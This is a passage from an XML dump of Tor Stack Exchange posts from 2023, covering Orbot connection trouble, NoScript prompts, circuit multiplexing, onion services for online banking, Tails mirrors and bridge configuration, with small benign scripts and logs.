Tor?" Tags="|bridge|orbot|connection|censorship|ios|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23773" PostTypeId="2" ParentId="14471" CreationDate="2023-06-17T17:08:15.670" Score="0" Body="&lt;p&gt;A workaround is to set your default browser to a shell script that copies the text into the clipboard (and notifies you). This allows you to simply paste the URL into Tor, instead of it automatically opening up in an insecure browser. Here's mine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;&#xA;if [[ $# -eq 0 ]] ; then&#xA;    echo &amp;quot;Usage: cpnotif [text to copy]&amp;quot;&#xA;    exit 1&#xA;fi&#xA;&#xA;echo -n $1 | xclip -selection clipboard &#xA;notify-send &amp;quot;Text copied!&amp;quot; &amp;quot;$1 copied to clipboard.&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;xclip and notify-send required.&lt;/p&gt;&#xA;" OwnerUserId="38573" LastActivityDate="2023-06-17T17:08:15.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23774" PostTypeId="2" ParentId="23766" CreationDate="2023-06-17T19:23:14.060" Score="0" Body="&lt;p&gt;Apps can obtain a lot about a user. I'd say that it's actually unwise to run it directly on the computer. Not only does it allow the adversary to live rent-free on your computer, but the adversary can just bypass your safeguards with much more leeway than measly javascript could ever do.&lt;/p&gt;&#xA;&lt;p&gt;Javascript is usually used to break out of the browser sandbox, and then could be potentially used for a Remote Control Execution attack or install unwanted software. The real magic happens in the malicious code that is now in your system.&lt;/p&gt;&#xA;&lt;p&gt;This is like putting a door in your metal wall and not expecting anyone to go into it.&lt;/p&gt;&#xA;&lt;p&gt;Whoever told you this advice is either lying to you or listening to someone that is lying to them.&lt;/p&gt;&#xA;" OwnerDisplayName="user37855" LastActivityDate="2023-06-17T19:23:14.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23775" PostTypeId="1" CreationDate="2023-06-18T11:15:33.613" Score="0" ViewCount="51" Body="&lt;p&gt;The desktop version of Tor is always preferred over the mobile version.&lt;/p&gt;&#xA;&lt;p&gt;Question: what does mobile app Tor leak about the user that the desktop doesn't leak?&lt;/p&gt;&#xA;&lt;p&gt;For example, one thing I noticed is lack of letter-boxing, so websites will more likely detect mobile screen resolution.&lt;/p&gt;&#xA;" OwnerUserId="38405" LastActivityDate="2023-06-18T11:15:33.613" Title="Tor mobile browesr fingerprint" Tags="|fingerprinting|mobile|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23776" PostTypeId="1" CreationDate="2023-06-18T16:29:25.413" Score="1" ViewCount="1697" Body="&lt;p&gt;Orbot (1.6.0 Build 33 iOS) connected once after installation a few days ago, and hasn't been able to since. Multiple connection retries fail.  When attempting to connect, WiFi is dropped and connection attempts are made over a flaky 1 bar LTE connection which fails. Is there a way to configure Orbit use my home WiFi instead of LTE?&lt;/p&gt;&#xA;" OwnerUserId="38575" LastActivityDate="2023-07-05T12:23:48.483" Title="Orbot on iPhone: can't connect, possible to use WiFi?" Tags="|orbot|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23777" PostTypeId="1" CreationDate="2023-06-19T02:21:40.477" Score="0" ViewCount="786" Body="&lt;p&gt;Through about:config settings, I disable anything to do with JavaScript. Before TorBrowserBundle 12.0.7, I could either disable or remove the NoScript extension.&lt;/p&gt;&#xA;&lt;p&gt;With TBB 12.0.7, NoScript can neither be removed nor disabled, well I can't seem to. That's fine by me, but I get prompts from NoScript asking me whether I want to proceed anonymously or not while browsing here and there. So I don't know what specifically is causing it.&lt;/p&gt;&#xA;&lt;p&gt;Given I disable JavaScript, is there anything I can do to stop NoScript from prompting me?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Spec's:&lt;/strong&gt; Debian Linux 12.0, TorBrowser Bundle 12.0.7&lt;/p&gt;&#xA;" OwnerUserId="30765" LastActivityDate="2023-06-19T02:21:40.477" Title="TorBrowser Bundle, NoScript Extension Disable Possible?" Tags="|tor-browser-bundle|debian|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23778" PostTypeId="2" ParentId="22202" CreationDate="2023-06-20T20:38:12.300" Score="0" Body="&lt;p&gt;This is a very good question. It's something I've thought a lot about -- both as [a] a customer of a bank and [b] while I was working as a security consultant for a bank.&lt;/p&gt;&#xA;&lt;h3&gt;Onion Services are more Secure&lt;/h3&gt;&#xA;&lt;p&gt;To expand a bit on your question, there are numerous security benefits for why &lt;a href=&quot;https://metrics.torproject.org/userstats-relay-country.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;millions of people use tor&lt;/a&gt; every day. Besides the obvious privacy benefits (which are not at all relevant in the scope of a customer authenticating with their bank ) -- Tor has a fundamentally different approach to encryption (read: it's more secure).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fun fact: the most popular website on the darknet is &lt;a href=&quot;http://www.facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;facebook&lt;/a&gt;. There are &lt;a href=&quot;https://github.com/alecmuffett/real-world-onion-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;hundreds of other popular sites on the darknet&lt;/a&gt;, including &lt;a href=&quot;https://onion.debian.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;debian&lt;/a&gt;, the &lt;a href=&quot;http://ciadotgov4sjwlzihbbgxnqg3xiyrg7so2r2o3lt5wz5ypk4sxyjstad.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CIA&lt;/a&gt;, the &lt;a href=&quot;https://www.nytimes3xbfgragh.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NYT&lt;/a&gt;, the &lt;a href=&quot;https://www.bbcnewsv2vjtpsuy.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BBC&lt;/a&gt;, &lt;a href=&quot;https://p53lf57qovyuvwsc6xnrppyply3vtqm7l6pcobkmyqsiofyeznfu5uqd.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProPublica&lt;/a&gt;, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Instead of using the &lt;a href=&quot;https://security.stackexchange.com/questions/234052/where-can-i-find-a-list-of-all-government-agencies-with-cas-in-pki-root-stores&quot;&gt;untrustworthy X.509 PKI model&lt;/a&gt;, all connections to a &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;v3 .onion address&lt;/a&gt; is made to a single &lt;a href=&quot;https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning&quot; rel=&quot;nofollow noreferrer&quot;&gt;pinned certificate&lt;/a&gt; that is directly correlated to the domain itself (&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2017-January/011816.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the domain is just a hash of the public key&lt;/a&gt; + some metadata).&lt;/p&gt;&#xA;&lt;p&gt;Moreover, &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;some&lt;/a&gt; of the &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;most secure operating systems&lt;/a&gt; send all the user's Internet traffic through the Tor network -- for the ultimate data security &amp;amp; privacy of its users.&lt;/p&gt;&#xA;&lt;p&gt;All of this means that users who connect to a website (eg online banking) have much greater &lt;a href=&quot;https://en.wikipedia.org/wiki/Information_security#Confidentiality&quot; rel=&quot;nofollow noreferrer&quot;&gt;confidentiality&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Information_security#Integrity&quot; rel=&quot;nofollow noreferrer&quot;&gt;integrity&lt;/a&gt; because the &lt;a href=&quot;https://en.wikipedia.org/wiki/Authentication&quot; rel=&quot;nofollow noreferrer&quot;&gt;authentication&lt;/a&gt; of Onion Services is magnitudes stronger than https with X.509.&lt;/p&gt;&#xA;&lt;h3&gt;Client-side Security&lt;/h3&gt;&#xA;&lt;p&gt;Indeed, arguably the &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;most secure Operating Systems&lt;/a&gt; today forces all traffic through Tor, for security.&lt;/p&gt;&#xA;&lt;p&gt;There was a time when I would &lt;em&gt;only&lt;/em&gt; do online banking through TAILS, but eventually my credit union started blocking Tor. I wrote them several letters to fix this issue, but the support team claimed to escalate it; it never got anywhere.&lt;/p&gt;&#xA;&lt;h3&gt;Outsourcing&lt;/h3&gt;&#xA;&lt;p&gt;Most banks outsource their online banking.&lt;/p&gt;&#xA;&lt;p&gt;The fact is that most banks aren't tech companies. They don't want to hire teams of developers, system administrators, and security engineers. There's a lot of risk when you develop your own banking software in-house.&lt;/p&gt;&#xA;&lt;p&gt;One very popular Online Banking Software that's used by numerous Credit Unions in the US is &lt;a href=&quot;https://www.alogent.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alogent&lt;/a&gt;. When I was escalating to my bank that they were erroneously blocking Tor (and that was preventing me from being able to log into online banking from TAILS), they likely didn't have a single employee in-house that understood the issue. They had to escalate to Alogent. And, most likely, the customer support representative couldn't speak the tech jargon required to explain the issue. And since very few customers complained, it likely just got swept under the rug.&lt;/p&gt;&#xA;&lt;h3&gt;So why not do the Most Secure thing?&lt;/h3&gt;&#xA;&lt;p&gt;So why don't companies like Alogent deploy Onion Services to their customers online banking presence, if it would greatly improve the security of their customers who use Tor?&lt;/p&gt;&#xA;&lt;p&gt;The answer is largely:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Because the customers aren't asking for it, and&lt;/li&gt;&#xA;&lt;li&gt;Most security engineers aren't trained on the security benefits of Tor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;When designing security systems, banks intentionally do not choose the most secure architectural design. Consider, for example, SEPA or ACH or Credit Card transactions. All of these are systems where you share your private keys with a third party. This is fundamentally backwards from how cryptographers design secure systems. But banks do it this way because it's lower friction and an easier system to build. They accept the risk and losses of some fraud and shore-up that risk with humans to reverse transactions.&lt;/p&gt;&#xA;&lt;p&gt;They could, of-course, switch to a push-based system that's fundamentally more secure, but that's harder and almost none of their customers demand this (even B2B).&lt;/p&gt;&#xA;&lt;p&gt;When I was employed as a security engineer for a bank, I did initiate a project to put our online presence behind an Onion Service. This would have greatly reduced the risk to some of our larger API customers. Unfortunately I left to start my own company before the project was finished, and I'm sure the ball was dropped because no customers were asking for it as a feature.&lt;/p&gt;&#xA;" OwnerUserId="31208" LastEditorUserId="31208" LastEditDate="2023-06-20T21:32:22.040" LastActivityDate="2023-06-20T21:32:22.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23779" PostTypeId="2" ParentId="15505" CreationDate="2023-06-23T10:43:18.410" Score="0" Body="&lt;p&gt;Uninstall Tor browser by deleting its install folder and all shortcuts.&#xA;The reinstall it in a user folder.&#xA;See &lt;a href=&quot;https://tor.stackexchange.com/a/22621/22888&quot;&gt;https://tor.stackexchange.com/a/22621/22888&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22888" LastActivityDate="2023-06-23T10:43:18.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23780" PostTypeId="1" CreationDate="2023-06-29T05:33:00.923" Score="1" ViewCount="76" Body="&lt;p&gt;I was reading a proposal written by Roger and Nick about the 2nd Generation onion router and noticed that they mentioned in the previous design, onion routing could only build a circuit for every application-level request whereas in the new design, tor is able to multiplex multiple TCP streams along each circuit. So I was wondering how does tor build circuits?&#xA;Does tor build a circuit for every cell? every SOCKS proxy?&lt;/p&gt;&#xA;" OwnerUserId="38622" LastActivityDate="2023-06-30T17:11:53.513" Title="How does Tor create circuits" Tags="|circuit|proxy|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23781" PostTypeId="1" CreationDate="2023-06-29T22:58:00.707" Score="0" ViewCount="64" Body="&lt;p&gt;A hidden service needs all ed25519 public keys of all nodes to construct indexes which are used to get the responsible hidden service directories. I know you can get a public key by sending the request: http://&amp;lt;authority&amp;gt;/tor/server/fp/&amp;lt;fp&amp;gt;. It won't send one specific request at the time for every node I guess, so how does the hidden service know all public keys?&lt;/p&gt;&#xA;" OwnerUserId="33103" LastActivityDate="2023-06-29T22:58:00.707" Title="How does a hidden service know all ed25519 public keys?" Tags="|onion-services|directory|hsdir|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23782" PostTypeId="2" ParentId="23780" CreationDate="2023-06-30T17:11:53.513" Score="1" Body="&lt;p&gt;Tor builds circuits and then attaches &amp;quot;streams&amp;quot; to those circuits. For example tor might create a circuit &amp;quot;TorProxy -&amp;gt; A -&amp;gt; B -&amp;gt; C&amp;quot; (where A/B/C are relays), and then later can attach multiple streams to those circuits, for example &amp;quot;Firefox -&amp;gt; TorProxy -&amp;gt; A -&amp;gt; B -&amp;gt; C -&amp;gt; ServerA&amp;quot; and &amp;quot;Git -&amp;gt; TorProxy -&amp;gt; A -&amp;gt; B -&amp;gt; C -&amp;gt; ServerB&amp;quot;. This is what is meant by &amp;quot;multiplex multiple TCP streams along each circuit&amp;quot;. Each stream is an application connection (a TCP connection). There are rules specifying which streams get attached to which circuits.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Does tor build a circuit for every cell? every SOCKS proxy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Neither; tor builds circuits ahead-of-time and assigns streams to those circuits as needed. If tor runs out of circuits and there's a new incoming application connection, tor will build a circuit for it and assign this stream to the circuit.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-06-30T17:11:53.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23783" PostTypeId="2" ParentId="3793" CreationDate="2023-06-30T19:28:49.653" Score="0" Body="&lt;p&gt;It looks like your AES encryption library is either 32-bit on a 64-bit system or vice versa. Find out your correct architecture and re-install the Tor browser for that architecture.&lt;/p&gt;&#xA;" OwnerUserId="38627" LastActivityDate="2023-06-30T19:28:49.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23784" PostTypeId="1" CreationDate="2023-07-01T09:05:43.930" Score="0" ViewCount="165" Body="&lt;p&gt;I already had setup hidden service on my pi4 and it was working just fine until I decided that I'd install the same config on another sd card and from then on it gives me the same error again and again &amp;quot;  Socks proxy failed to connect, error 4 (host unreachable) &amp;quot; I have tried everything from checking if the configuration is right to enabling the port using ufw, iptables, firewalld to trying to setup a new hidden service but it always gives me the same error and neither can I see a fix on the web nor can I fix it myself.&lt;/p&gt;&#xA;" OwnerUserId="38629" LastActivityDate="2023-07-01T09:05:43.930" Title="connecting tor over ssh error Socks proxy failed to connect, error 4 (host unreachable)" Tags="|torsocks|error|raspberry-pi|ssh|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23785" PostTypeId="1" CreationDate="2023-07-04T17:05:19.883" Score="0" ViewCount="62" Body="&lt;p&gt;I want to start hosting my hidden service and be as secure as possible.&lt;/p&gt;&#xA;&lt;p&gt;It is currently just some PHP Code and a MySQL database.&#xA;Now I am wondering if I need a external server to host my database or if I should host the database on the same server the webserver is running.&lt;/p&gt;&#xA;&lt;p&gt;So if my webserver gets compromised the hackers do not have access to my database and if would that protect me at all, since i have to store the credentials from the database somewhere.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="38646" LastActivityDate="2023-07-28T08:26:33.510" Title="Should I use the same server for webserver and the database?" Tags="|configuration|onion-services|web-hosting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23786" PostTypeId="2" ParentId="23776" CreationDate="2023-07-05T12:23:48.483" Score="1" Body="&lt;p&gt;This problem resolved itself. After a week of not working, no Tor connection, Orbit was able to connect. The iPhone WiFi icon dropped during the connection establishment and reappeared after the connection was made.&lt;/p&gt;&#xA;" OwnerUserId="38575" LastActivityDate="2023-07-05T12:23:48.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23787" PostTypeId="2" ParentId="21806" CreationDate="2023-07-08T18:31:44.327" Score="0" Body="&lt;p&gt;at 8-8-2023 i found 25 tails mirrors with google: &amp;quot;Index of&amp;quot; tails&lt;/p&gt;&#xA;&lt;p&gt;go to /tails/stable/ this is the right directory&lt;/p&gt;&#xA;&lt;p&gt;verify your download at:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.net/install/download-iso/index.de.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.net/install/download-iso/index.de.html&lt;/a&gt;        (new)&lt;/p&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/install/download-iso/index.de.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/install/download-iso/index.de.html&lt;/a&gt;   (old)&lt;/p&gt;&#xA;&lt;p&gt;mirrors:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://mirrors.ukfast.co.uk/sites/tails.boum.org/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mirrors.ukfast.co.uk/sites/tails.boum.org/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://mirror.ihost.md/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mirror.ihost.md/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.tetaneutral.net/stable/tails-amd64-5.14/tails-amd64-5.14.iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.tetaneutral.net/stable/tails-amd64-5.14/tails-amd64-5.14.iso&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://194.71.11.163/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://194.71.11.163/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://194.8.197.22/tails/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://194.8.197.22/tails/tails/stable/tails-amd64-5.14/tails-amd64-5.14.iso&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;to update tails via tor on weekends is nearly impossible&lt;/p&gt;&#xA;" OwnerUserId="38665" LastActivityDate="2023-07-08T18:31:44.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23788" PostTypeId="2" ParentId="20673" CreationDate="2023-07-08T20:04:01.677" Score="0" Body="&lt;p&gt;mass download via tor can be somewhat tricky.&#xA;the tor network will fight against with slow conection or cut offs.&#xA;to get results you need a savy downloadmanager which can handle the cut offs and automaticaly continue the download later.&#xA;i tested FDM with acceptable results.&#xA;i did not test uget but its description is promissing.&lt;/p&gt;&#xA;" OwnerUserId="38665" LastEditorUserId="38665" LastEditDate="2023-07-08T20:07:51.720" LastActivityDate="2023-07-08T20:07:51.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23789" PostTypeId="2" ParentId="6454" CreationDate="2023-07-11T13:46:34.770" Score="0" Body="&lt;p&gt;As I needed something similar for a script I want to give out my approach which is based on Tom's but uses &lt;a href=&quot;https://linux.die.net/man/1/xxd&quot; rel=&quot;nofollow noreferrer&quot;&gt;xxd&lt;/a&gt; instead to convert the base64 encoded identity to the full fingerprint:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n &amp;quot;wO2wjXVA0d08ppgJ7RfZefUbZuM&amp;quot; | base64 --decode 2&amp;gt; /dev/null | xxd --plain | awk '{ print toupper($0) }'&#xA;C0EDB08D7540D1DD3CA69809ED17D979F51B66E3&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The '2&amp;gt;' stderr redirect to /dev/null omits base64's invalid input warning.&#xA;Hope this is useful for someone out there.&lt;/p&gt;&#xA;" OwnerUserId="38675" LastEditorUserId="38675" LastEditDate="2023-12-05T11:54:27.277" LastActivityDate="2023-12-05T11:54:27.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23790" PostTypeId="2" ParentId="20673" CreationDate="2023-07-12T19:49:13.853" Score="0" Body="&lt;p&gt;It's simple: use Tor as a proxy with authentication and use random login+password for each stream, so it will isolate them. Also don't forget to tweak up your torrc config for a circuit isolation&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-07-12T19:49:13.853" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23791" PostTypeId="1" CreationDate="2023-07-15T21:16:08.253" Score="0" ViewCount="50" Body="&lt;p&gt;I've been trying to fully understand what is happening with a single Tor stream. I can see in my logs Tor control events:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;650 STREAM 97 NEW 0 my.website.com:443 SOURCE_ADDR=127.0.0.1:48828 PURPOSE=USER SOCKS_USERNAME=&amp;quot;I2AU8MCE1OLH4GP158KU6&amp;quot; SOCKS_PASSWORD=&amp;quot;0&amp;quot; CLIENT_PROTOCOL=SOCKS5 NYM_EPOCH=0 SESSION_GROUP=-4 ISO_FIELDS=SOCKS_USERNAME,SOCKS_PASSWORD,CLIENTADDR,SESSION_GROUP,NYM_EPOCH'&#xA;650 STREAM 97 SENTCONNECT 6 my.website.com:443 SOCKS_USERNAME=&amp;quot;I2AU8MCE1OLH4GP158KU6&amp;quot; SOCKS_PASSWORD=&amp;quot;0&amp;quot; CLIENT_PROTOCOL=SOCKS5 NYM_EPOCH=0 SESSION_GROUP=-4 ISO_FIELDS=SOCKS_USERNAME,SOCKS_PASSWORD,CLIENTADDR,SESSION_GROUP,NYM_EPOCH'&#xA;650 STREAM 97 REMAP 6 166.114.97.0:443 SOURCE=EXIT SOCKS_USERNAME=&amp;quot;I2AU8MCE1OLH4GP158KU6&amp;quot; SOCKS_PASSWORD=&amp;quot;0&amp;quot; CLIENT_PROTOCOL=SOCKS5 NYM_EPOCH=0 SESSION_GROUP=-4 ISO_FIELDS=SOCKS_USERNAME,SOCKS_PASSWORD,CLIENTADDR,SESSION_GROUP,NYM_EPOCH'&#xA;650 STREAM 97 SUCCEEDED 6 166.114.97.0:443 SOCKS_USERNAME=&amp;quot;I2AU8MCE1OLH4GP158KU6&amp;quot; SOCKS_PASSWORD=&amp;quot;0&amp;quot; CLIENT_PROTOCOL=SOCKS5 NYM_EPOCH=0 SESSION_GROUP=-4 ISO_FIELDS=SOCKS_USERNAME,SOCKS_PASSWORD,CLIENTADDR,SESSION_GROUP,NYM_EPOCH'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I know that &lt;code&gt;SUCCEEDED&lt;/code&gt; means &amp;quot;Received a reply; stream established&amp;quot; per &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n2426&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n2426&lt;/a&gt;. But I have not found in my logs &amp;quot;CLOSED&amp;quot; or &amp;quot;FAILED&amp;quot; for that STREAM 97. Can it happen? What does it mean when there is no message following &lt;code&gt;SUCCEEDED&lt;/code&gt; state for the stream?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2023-09-26T21:23:10.770" Title="Can `SUCCEEDED` be the last message for a Tor stream reported by Tor control?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23792" PostTypeId="1" CreationDate="2023-07-17T23:50:56.780" Score="1" ViewCount="87" Body="&lt;p&gt;So I am running a new bridge relay at &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/D8931228F0FEB5668C7F5680D9B6CDB2AF86690E&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/D8931228F0FEB5668C7F5680D9B6CDB2AF86690E&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Oddity happening, despite it being listed in the torrc confoguration to be distributed by email,the relay information says 'Bridge distibution mechanism: None&amp;quot;. But also, the bridge states it is getting traffic in the tor log.&lt;/p&gt;&#xA;&lt;p&gt;Here is the torrc:&lt;/p&gt;&#xA;&lt;p&gt;Nickname udeservefreedom&#xA;ExtORPort auto&#xA;ORPort 00000&#xA;BridgeRelay 1&#xA;PublishServerDescriptor 1&#xA;BridgeDistribution email&#xA;ServerTransportPlugin obfs4 exec C:\ProgramData\chocolatey\bin\obfs4proxy.exe&lt;/p&gt;&#xA;&lt;p&gt;Note that the port was excluded so as not to share that on here. Thank you. But I wonder why it still says no distribution mechanism despite that?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2023-10-06T15:10:57.500" Title="Bridge distribution mechanism says &quot;none&quot; despite it having been set in torrc?" Tags="|configuration|bridge|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23793" PostTypeId="1" CreationDate="2023-07-20T19:08:45.480" Score="2" ViewCount="767" Body="&lt;p&gt;I have installed the Tor Browser on my system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;System Details&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows 11 (64-bit)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I downloaded the latest Tor Browser available from its official site.&lt;/li&gt;&#xA;&lt;li&gt;I am unable to find the steps to enable sound on any site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;What I Have Tried&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I attempted to access various video sites.&lt;/li&gt;&#xA;&lt;li&gt;I tried installing the latest version of Tor from the official Tor site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Sound on my Windows system is functioning properly. I also tested other browsers, and the sound plays fine on those sites and browsers.&lt;/p&gt;&#xA;" OwnerUserId="38706" LastActivityDate="2023-07-20T19:08:45.480" Title="What troubleshooting steps can be tried if sound is disabled in Tor?" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23794" PostTypeId="1" CreationDate="2023-07-23T17:40:49.013" Score="2" ViewCount="126" Body="&lt;p&gt;I am well aware of how to generate an onion address with mkp224o, and how it spits out the keys, but how do I then use that new address to replace the old one. Many people have answered questions extremely similar to this one, but all they ever say is how to generate it with mkp224o, not how to implement it.&lt;/p&gt;&#xA;" OwnerUserId="38717" LastActivityDate="2023-07-23T17:40:49.013" Title="How to change onion URL" Tags="|onion-routing|url|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23796" PostTypeId="2" ParentId="23785" CreationDate="2023-07-28T08:26:33.510" Score="0" Body="&lt;p&gt;There is no point to split your system in order to improve the security. Anyway your database credentials will be stored somewhere in php files to provide access to your scripts. You'd rater secure your system, e.g. use RSA key to login without password&lt;/p&gt;&#xA;" OwnerDisplayName="user28456" LastActivityDate="2023-07-28T08:26:33.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23799" PostTypeId="1" CreationDate="2023-08-07T18:43:26.530" Score="0" ViewCount="81" Body="&lt;p&gt;I have used a TOR VPN provided by The TOR Project (Orbot for Android) I have run a check on Ooni probe with the TOR VPN active and the TOR test failed. All other tests passed however, so this is not a problem using TOR with applocations just some error caused by applocations using TOR. For example when I search on spotify it simply says &amp;quot;Something went wrong. Try agian?&amp;quot; If a song changes the download file will become corrupt. This only happens for some TOR circuits. It seems like this happens more and more often since I started using a TOR VPN in 2021. Only websites accessed by Google will load. Here is the Ooni probe log; im stumped.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Looking up OONI backends... please, be patient&#xA;sessionresolver: https://mozilla.cloudflare-dns.com/dns-query... ok&#xA;session: using probe services: {Address:https://api.ooni.io Type:https Front:}&#xA;contacted bouncer&#xA;Looking up your location... please, be patient&#xA;iplookup: using stun_google&#xA;sessionresolver: https://dns.google/dns-query... ok&#xA;iplookup: using cloudflare&#xA;sessionresolver: https://dns.google/dns-query... ok&#xA;geoip lookup&#xA;resolver lookup&#xA;Opening report... please, be patient&#xA;open report&#xA;Starting measurement with index 0&#xA;TCPConnect 131.188.40.189:443... ok&#xA;TCPConnect 66.111.2.131:9001... ok&#xA;TLSHandshake 131.188.40.189:443 with sni=... connection_reset&#xA;tor: access 131.188.40.189:443/or_port_dirauth: connection_reset&#xA;TLSHandshake 66.111.2.131:9001 with sni=... connection_reset&#xA;tor: access 66.111.2.131:9001/or_port_dirauth: connection_reset&#xA;TCPConnect 38.229.1.78:80... ok&#xA;tor: access 199.58.81.140:80/dir_port: connection_reset&#xA;TCPConnect 38.229.33.83:80... ok&#xA;tor: access 38.229.1.78:80/obfs4: context deadline exceeded&#xA;tor: access 38.229.33.83:80/obfs4: context deadline exceeded&#xA;tor: access 